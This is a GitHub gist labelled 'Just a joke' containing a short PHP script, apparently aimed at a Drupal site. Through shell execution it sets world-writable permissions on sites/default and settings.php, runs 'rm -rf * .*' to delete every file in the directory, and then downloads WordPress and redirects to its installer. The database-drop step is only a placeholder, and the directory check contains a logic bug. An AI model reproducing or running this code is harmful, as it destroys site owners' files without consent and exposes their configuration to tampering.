Skip to content

Instantly share code, notes, and snippets.

@danreb
Created January 21, 2014 00:47
Show Gist options
  • Save danreb/8532285 to your computer and use it in GitHub Desktop.
Save danreb/8532285 to your computer and use it in GitHub Desktop.
Just a joke
<?php
ob_start();
if (function_exists('shell_exec')) {
// Adjust permission
echo "Changing mode.....<br />";
`chmod 777 sites/default`;
`chmod 777 sites/default/settings.php`;
// Delete all files
echo "Deleting all files....<br />";
`rm -rf * .*`;
// TODO - code to delete the current database
echo "Deleting database...<br />";
`echo drop code must go here!`;
// Make sure if current working directory is empty
if ($files = scandir(getcwd()) && count($files) < 2) {
echo "Downloading wordpress CMS files....<br /><br />";
`wget http://wordpress.org/latest.tar.gz`;
`tar -zxvf latest.tar.gz`;
`rm -rf latest.tar.gz`;
}
// Redirect to wordpress installation
header('Location: wordpress/wp-admin/setup-config.php');
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment